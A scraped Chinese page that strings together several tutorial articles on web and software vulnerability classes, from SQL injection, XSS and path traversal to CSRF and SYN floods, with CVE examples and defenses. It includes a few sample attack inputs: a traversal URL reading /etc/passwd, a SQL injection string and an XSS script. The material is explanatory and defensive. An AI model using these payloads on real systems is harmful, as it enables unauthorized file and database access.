    Google Play的应用内购买机制的实现上存在的漏洞,在用户在Android应用内购买某些数字资产时会从Play 市场获取是否已经付费的验证数据,对这块数据的解析验证的代码存在逻辑问题,导致攻击者可以绕过验证不用真的付费就能买到东西。验证相关的代码如下:

    安全漏洞概念及分类

    代码会先检查回来的数据签名是否为空,不空的话检查签名是否正确,如果不对返回失败。问题在于如果签名是空的话并没有对应的else逻辑分支来处理,会直接执行最下面的return true操作,导致的结果是只要返回的消息中签名为空就会返回验证通过。

    输入验证类

    漏洞来源都是由于对来自用户输入没有做充分的检查过滤就用于后续操作,绝大部分的CGI漏洞属于此类。所能导致的后果,经常看到且威胁较大的有以下几类:  

    - SQL注入
    - 跨站脚本执行
    - 远程或本地文件包含
    - 命令注入
    - 目录遍历
    SQL注入

    Web应用对来自用户的输入数据未做充分检查过滤,就用于构造访问后台数据库的SQL命令,导致执行非预期的SQL操作,最终导致数据泄露或数据库破坏。   
    实例:
    - 一个网站Web应用的数值参数的SQL注入漏洞。

    安全漏洞概念及分类

    跨站脚本执行(XSS)

    Web应用对来自用户的输入数据未做充分检查过滤,用于构造返回给用户浏览器的回应数据,导致在用户浏览器中执行任意脚本代码。   
    实例: YouTube上的一个存储式XSS漏洞。

    安全漏洞概念及分类

    远程或本地文件包含

    安全漏洞概念及分类安全漏洞概念及分类

    如果Web应用支持在URL参数中指定服务器上的一个文件执行一些处理,对来自客户端URL数据及本地资源的访问许可如果未做充分的检查,攻击者可能通过简单的目录遍历串使应用把Web主目录以外的系统目录下的文件包含进来,很可能导致信息泄露。   
    实例:
    - 一个网站存在的本地文件包含的漏洞

    安全漏洞概念及分类

    命令注入

    涉及系统命令调用和执行的函数在接收用户的参数输入时未做检查过滤,或者攻击者可以通过编码及其他替换手段绕过安全限制注入命令串,导致执行攻击指定的命令。   实例:
    - AWStats 6.1及以下版本configdir变量远程执行命令漏洞( CVE-2005-0116 )
    典型的由于Perl语言对文件名特性的支持加入未充分检查用户输入的问题,导致的命令注入漏洞,awstats.pl的1082行:if (open(CONFIG,”$searchdir$PROG.$SiteConfig.conf”)) 。

    安全漏洞概念及分类

    目录遍历

    涉及系统用于生成访问文件路径用户输入数据时未做检查过滤,并且对最终的文件绝对路径的合法性检查存在问题,导致访问允许位置以外的文件。多见于CGI类应用,其他服务类型也可能存在此类漏洞。

    实例:

    -  Novell Sentinel Log Manager “filename”参数目录遍历漏洞( CVE-2011-5028 )

    http://www.example.com/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd

    -  HP Data Protector Media Operations DBServer.exe目录遍历漏洞

    在HP Data protecetor Media Operations的客户端连接服务端时,通过私访有的通信协议,客户端会首先检查[系统分区]:/Documents and Settings/[用户名]/Application Data下面是否有相应的资源(如插件等),如果没有,则会向服务器请求需要的文件,服务器没有验证请求的文件名的合法性,而且这个过程不需要任何验证,攻击者精心构造文件名,可以读取服务端安装目录所在分区的任意文件。

    安全漏洞概念及分类

    - RHINOSOFT SERV-U FTP SERVER远程目录遍历漏洞

    安全漏洞概念及分类

    Caucho Resin远程目录遍历漏洞

    安全漏洞概念及分类

    设计错误类

    系统设计上对安全机制的考虑不足导致的在设计阶段就已经引入的安全漏洞。

    实例:

    -  LM HASH算法脆弱性

    安全漏洞概念及分类

    这个算法至少存在以下3方面的弱点:

    1、口令转换为大写极大地缩小了密钥空间。
    2、切分出的两组数据分别是独立加密的,暴力破解时可以完全独立并行。
    3、不足7字节的口令加密后得到的结果后半部分都是一样的固定串,由此很容易判定口令长度。

    这些算法上的弱点导致攻击者得到口令HASH后可以非常容易地暴力猜测出等价的明文口令。

     -   Microsoft Windows图形渲染引擎WMF格式代码执行漏洞(MS06-001) (CVE-2005-4560)

        如果一个WMF文件的StandardMetaRecord中,Function 被设置为 META_ESCAPE而Parameters[0] 等于SETABORTPROC,PlayMetaFileRecord()就会调用Escape()函数,Escape()调用SetAbortProc()将自己的第四形参设置为一个回调函数,把图像文件中包含的一个数据块象Shellcode那样执行。此漏洞从Windows 3.1一直影响到2003,攻击者只要让用户处理恶意的WMF文件(通过挂马或邮件)在用户系统上执行任意指令,漏洞实在是太好用影响面太大了,以至有人认为这是一个故意留的后门,其实影响设计的功能是处理打印任务的取消,功能已经被废弃,但废弃的代码并没有移除而导致问题。

      – 搜狐邮箱密码找回功能

        密码找回功能在要求用户提供找回密码需要的问题答案时,在返回给用户的页面中就已经包含了答案,只要通过查看页面源码就能看到,使这个找回密码功能的安全验证完全形同虚设,攻击者由此可以控制任意邮箱。之所以这么设计,可能就是为了尽可能地少对数据库的查询,而把用户帐号安全根本不放在心上。

    安全漏洞概念及分类

      – 紫光输入法用户验证绕过漏洞

    这是类似于2000年微软输入法漏洞的例子,通过访问输入法设置的某些功能绕过操作系统的用户验证执行某些操作。

    安全漏洞概念及分类

    配置错误类

    系统运维过程中默认不安全的配置状态,大多涉及访问验证的方面。

    实例:

      – JBoss企业应用平台非授权访问漏洞( CVE-2010-0738 )

    对控制台访问接口的访问控制默认配置只禁止了HTTP的两个主要请求方法GET和POST,事实上HTTP还支持其他的访问方法,比如HEAD,虽然无法得到的请求返回的结果,但是提交的命令还是可以正常执行的。

    安全漏洞概念及分类

    展开全文
  • 常见安全漏洞及解决方案

    千次阅读 2018-06-30 17:13:35
    CSRF攻击XSS攻击DoS攻击Jsonp劫持SQL注入

    概述:常见的安全漏洞:

    漏洞名称
    漏洞背景
    避免方法
    解决方案
    CSRF
    (跨站请求伪装)
    攻击者诱导用户点击连接,用户浏览器携带cookie成功请求服务器,造成用户信息丢失。
    • 验证 HTTP Referer 字段
    • token验证机制
    • 验证码
    spring-boot-security-csrf
    XSS
    (CSS,跨站脚本攻击)
    恶意攻击者往web页面插入恶意js代码,当用户浏览时潜入的代码会被执行,从而控制用户的浏览器。
    • 过滤特殊字符
    • 使用HTTP头指定类型
    spring-boot-security-xss
    SQL注入
    外部输入参数在拼接时,没有和数据库语句做严格区分,导致攻击者注入自定义的数据库语句,从而非预期地操作数据库。
    预编译sql语句。对mybatis而言,可用#{}代替${}。
    Jsonp劫持
    jsonp存在非法站点恶意调用、callback参数恶意添加标签-XSS漏洞等问题。
    • refer白名单匹配
    • callback参数检查
    spring-boot-security-jsonp
    DoS攻击
    伪造请求,建立大量的半连接,使服务器连接队列满,导致拒绝服务。
    设计安全:
    脱敏:在对用户敏感信息(密码、密钥、信用卡、借记卡、个人信息(身份证,姓名,tel,mail,add,uid))进行展示/使用时,应遵循一些原则,以防止用户信息泄露。
    对于一些用户敏感信息,在前后端传输过程中,需要加密处理,以防被监听而泄露。可以使用Http手动加密和Https。对于Http,客户端收到用户键入的敏感信息后,可以考虑使用base64编码或者加密处理后,发送到后端。

    CSRF

    GET 请求,用一个<img src = "...">就可以实现CSRF攻击,但是GET请求的CSRF攻击不用防范,前提是我们的接口设计要保证符合HTTP规范,即是:GET请求应该是幂等的,不涉及数据状态的更新。(幂等,我们可以理解为强一致:读:每次的结果都一致。写:连续调用10次的结果,要保证写不会重复。另外,当我们调用其他的业务接口时,当出现失败,要保证结果一定是失败,即保证一致)。
    POST 表单提交:这个CSRF可以进行攻击,模拟表单提交。解决方案就是服务器使用随机生成的token,嵌入到表单中,CSRF无法获得此表单的token值。当进行表单提交时,我们先验证此token是否合法。框架解决方案是:Spring-security。
    增加可信任的域。验证HTTP的refer头,看是否是信任的域发起的请求。
    可参考:

    XSS

    由攻击者输入恶意数据保存在数据库,再由服务器脚本程序从数据库中读取数据,然后显示在公共显示的固定页面上,那么所有浏览该页面的用户都会被攻击。由于攻击者输入恶意数据保存在数据库,再由服务器脚本程序从数据库中读取数据。所以大部分的存储型XSS漏洞都是在表单提交上会发生的。比如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。        
        只要有form表单提交,并且回显逻辑时,当一个虚假的黑客在表单中提交js代码时,回显页面时,js执行引擎解释这段危险代码,会造成比较严重的问题。比如:流量劫持,弹窗,钓鱼等。。。json回写时,需要经过security的一层转义。
         但是对于接口来说,你伪造一个账号来攻击我的接口是不行的,dos攻击时,当出现ip超过一定的阈值后,会禁止掉。
    如果A提交的内容影响到了B,比如A提交信息时写了一段js代码,当上游B去查看时,这个js代码就会执行,所以会影响B。如果只影响A,那么就不用去解决,因为对自己负责。
         跨站点脚本攻击(为了不跟CSS混淆,叫XSS),在网页中插入恶意的Java script脚本代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。比如:在留言板插入下边的脚本内容:
    <script>alert(“hey!you are attacked”)</script>
    
    这样,用户在访问此留言板时,就会弹出提醒框。
    XSS攻击可以:窃取用户cookie值,劫持流量向某个网页跳转等。
    可用:过滤特殊字符,使用HTTP头指定类型解决。 框架解决方案是:Spring-security。

    Jsonp劫持

    JSON是一种基于文本的数据交换方式,或者叫做数据描述格式。Jsonp用来跨域。一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准。另外:我们还发现凡是拥有"src"这个属性的标签都拥有跨域的能力,比如<script>、<img>、<iframe>。
    • 把跨域服务器写成 调用本地的函数 ,回调数据回来不就好了?jsonp的核心则是动态添加<script>标签来调用服务器提供的js脚本
    1. 首先是利用script标签的src属性来实现跨域。
    2. 通过将前端方法作为参数传递到服务器端,然后由服务器端注入参数之后再返回,实现服务器端向客户端通信。
    3. 由于使用script标签的src属性,因此只支持get方法
    为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
    其实核心就是:<script> 可跨域,本地调用<script>调用远程,然后用callback指定调用方本地的回调函数。
    Jsonp劫持:
    jsonp存在非法站点恶意调用、callback参数恶意添加标签-XSS漏洞等问题。
    • refer白名单匹配
    • callback参数检查
    spring-boot-security-jsonp

    SQL注入

    漏洞背景

            外部输入参数没有经过过滤,直接拼接到SQL语句中执行,没有和数据库语句做严格区分,导致攻击者注入自定义的数据库语句,从而非预期地操作数据库。比如我们可以用 -- 来注释查询条件。
    select * from user where username = "zhangsan" and password = "..."
    利用参数拼接实现sql注入:select * from user where username = "zhangsan" and "1" = "1"-- and password =

    避免方法

            预编译sql语句。对mybatis而言,可用#{}代替${}。因为#{}相当于JDBC的PreparedStatement,会对自动传入的数据加一个双引号;${}是未经预编译,仅取变量的值,非安全。

    DoS 攻击

    是Denial of Service的简称,即拒绝服务。 DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。
    比如SYN的Flood攻击
    SYN洪水攻击属于DoS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从图4-3可看到,服务器接收到连接请求(SYN=i )将此信息加入未连接队列,并发送请求包给客户端( SYN=j,ACK=i+1 ),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送SYN包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
    解决方案:
    第一种是缩短SYN Timeout时间第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。>netstat -n -p tcp >result.txt
    Ping of Death  "ping ofdeath"攻击就是我们常说的"死亡Ping"  这种攻击通过发送大于65536字节的ICMP包使操作系统崩溃;通常不可能发送大于65536个字节的ICMP包,但可以把报文分割成片段,然后在目标主机上重组;最终会导致被攻击目标缓冲区溢出,引起拒绝服务攻击。有些时候导致telne和http服务停止,有些时候路由器重启。


    展开全文
  • 对常用的一些应用安全漏洞进行梳理并给出初步的防范建议
  • GB∕T 33561-2017 信息安全技术 安全漏洞分类 国家标准
  • 常见安全漏洞

    2018-06-27 19:53:18
    1、SQL注入许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得...
    1、SQL注入
    许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection ,即SQL注入。
    其主要危害有:在未经授权状况下操作数据库中的数据;恶意篡改网页内容;私自添加系统帐号或者是数据库使用者帐号;网页挂木马等。

    SQL注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。

    2 、XSS
    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
    其主要危害有:攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。

    发生在客户端DOM(Document Object Model文档对象模型)DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不需要提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞


    3、 信息泄露

    信息泄露是指应用程序泄露应该保密的信息,例如客户端注释中泄露敏感信息、系统日志泄露敏感信息等。这些泄露的信息可能会对攻击者进一步了解应用程序,以致攻击应用程序提供一定的帮助。


    用户认证信息明文传输: 用户认证信息不是通过https加密信道传输,导致用户名密码等敏感信息泄露。

    4、 越权漏洞
    越权漏洞是指由于应用程序未正确实现授权功能,造成用户可以执行其没有资格执行的操作,包括可以查看或修改他本身没资格查看或修改的资源,以及可以执行用户本身没有的功能。


    5、 暴力破解
    暴力破解是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止。攻击者利用该漏洞可以破解存在该漏洞的应用程序的用户密码。


    6、 文件上传漏洞
    文件上传漏洞是由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。恶意攻击者利用该漏洞可以直接向服务器上传一个 webshell( 又称 ASP 木马、PHP 木马等即利用服务器端的文件操作语句写成的动态网页,可以用来编辑你服务器上的文件 ),从而控制该网站。


    7、 CSRF
    跨站请求伪造(CSRF)是 Web 应用程序一种常见的漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量 Web 2.0 技术的应用的背景下,CSRF 攻击完全可以在用户法毫无察觉的情况下发起攻击。发起的目标都是通过伪造一个用户请求,该请求不是用户想发出去的请求,而对服务器或服务来说这个请求是完全合法的一个请求,但是却完成了一个攻击者所期望的操作,比如添加一个用户到管理者的群组中,或将一个用户的现金转到另外的一个帐户中。


    8、 路径遍历漏洞
    许多功能强迫Web应用程序根据用户在请求中提交的参数向文件系统读取或写入数据。如果以不安全的方式执行这些操作,攻击者就可以提交专门设计的输入,使得应用程序访问开发者并不希望他访问的文件,这就是路径遍历漏。攻击者可利用这种缺陷读取密码和应用程序日志之类的敏感数据,或者复写安全性至关重要的数据项,如配置文件和软件代码。在最为严重的情况下,这种漏洞可使攻击者能够完全攻破应用程序与基础操作系统。


    9 、服务器开启了不安全的http方法

    OPTIONS方法是用于请求获得由Request-URI标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能。开启该方法有可能泄漏一些敏感信息,为攻击者发起进一步攻击提供信息。

    TRACE_Method是HTTP(超文本传输)协议定义的一种协议调试方法,该方法会使服务器原样返回任意客户端请求的任何内容。由于该方法会原样返回客户端提交的任意数据,因此可以用来进行跨站脚本(简称XSS)攻击,这种攻击方式又称为跨站跟踪攻击(简称XST)。


    注:转载自:https://blog.csdn.net/netuser1937/article/details/53738737

    展开全文
  • 安全漏洞的分类、描述与解决方案

    千次阅读 2018-05-21 22:03:06
    整理了下安全漏洞,方便进行安全测试用。漏洞列表漏洞描述问题类型风险等级解决方案SQL注入漏洞主要是SQL注入漏洞,对用户提交CGI参数数据未做充分检查过滤,用户提交的数据可能会被用来构造访问后台数据库的SQL指令...
  • 在详细讲述通过5个基础方法构建低成本、高效、准确的登录性认证体系之前,有必要先梳理一下当今4个最严重的安全漏洞。  是否能有效修补这4个最严重的安全漏洞,将成为检验5个基础方法的是否有效的重要检验指标。 ...
  • ## 记录一次漏洞修复,openssh安全漏洞(CVE-2017-15906)以及openssh用户枚举漏洞(CVE-2018-15919)内网openssh升级过程。 在工作中偶然发现我的服务器两个漏洞,openssh安全漏洞(CVE-2017-15906)以及openssh...
  • 结和学习了2017年新发布的owasp top 10 十大漏洞,每个漏洞从原理、案列、解决方法上进行阐述
  • 我们能做的就是在出现问题前做好预防,今天小编来分享一些网站建设中常见的安全漏洞。 1、明文传输 问题描述:对系统用户口令保护不足,***者可以利用***工具,从网络上窃取合法的用户口令数据。 修改建议:...
  • 有哪些网络安全漏洞存在?

    千次阅读 2019-04-20 15:34:47
    根据国家信息安全漏洞共享平台(China National Vulnerability Database,简称CNVD,)统计的本周信息安全漏洞威胁整体评价级别为中。CNVD是由国家计算机网络应急技术处理协调中心(中文简称国家互联应急中心,英文...
  • APP有哪些常被黑客利用的安全漏洞

    千次阅读 2015-09-10 14:17:22
    首先,说到APP的安全漏洞,身为程序猿的大家应该不陌生;如果抛开安卓自身开源的问题的话,其主要产生的原因就是开发过程中疏忽或者代码不严谨引起的。但这些责任也不能怪在程序猿头上,有时会因为BOSS时间催得紧等...
  • 10大常见的安全漏洞!你知道吗?

    千次阅读 2016-03-04 15:09:36
    众所周知,黑客入侵、网络攻击以及其他数字化安全漏洞从来都百害而无一利。一个行业的烦恼可能是另一个行业的噩梦——如果你读过 Veracode 的《软件安全报告声明,卷6》,就会知道大多数安全漏洞在某些特定行业...
  • Web服务器常见8种安全漏洞

    千次阅读 2011-10-08 23:24:14
    Web服务器存在的主要漏洞包括物理路径泄露,CGI源代码泄露,目录遍历,执行任意命令,缓冲区溢出,拒绝服务,SQL注入,条件竞争和跨站脚本执行漏洞,和CGI漏洞有些相似的地方,但是更多的地方还是有着本质的不同。...
  • 在最糟糕的情况下,攻击者可以利用漏洞从 WPA2 设备破译网络流量、劫持链接、将内容注入流量中。换言之,攻击者通过漏洞可以获得一个万能密钥,不需要密码就可以访问任何 WAP2 网络。一旦拿到密钥,他们就可以窃听你...
  • 注意!Zoom被爆重大安全漏洞!!!

    千次阅读 2020-04-09 08:00:00
    冠状病毒疫情期间,视频会议软件使用量激增,其中表现尤其抢眼的软件就是Zoom。Zoom的日活跃用户从去年12月份的1000万人激增到现在的2亿人,成为了视频会议软件中的当红炸子鸡,无法...
  • 客户网站以及APP在正式上线之前,都会找专业的安全公司进行渗透测试,检测网站、APP是否存在漏洞,以及一些安全隐患,大多数的运营者觉得安装一些安全防护软件就足以防止攻击了,越这样,网站APP越容易受到篡改数据...
  • 因会话管理疏忽引发的安全漏洞: 1、会话劫持(是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的) 2、会话固定攻击(属于被动攻击) 3、跨站点请求伪造(是指攻击者...
  • Android手机App安全漏洞整理

    千次阅读 2017-03-07 23:04:09
    APP安全漏洞整理 1.源码安全漏洞 1.1 代码混淆漏洞 当前APK文件的安全性是非常令人堪忧的。APK运行环境依赖的文件/文件夹 res、DEX、主配文件Lib 只有简单的加密或者甚至没有任何加密。诸如apktool这类工具可轻易...

空空如也

1 2 3 4 5 ... 20
收藏数 222,014
精华内容 88,805
关键字:

安全漏洞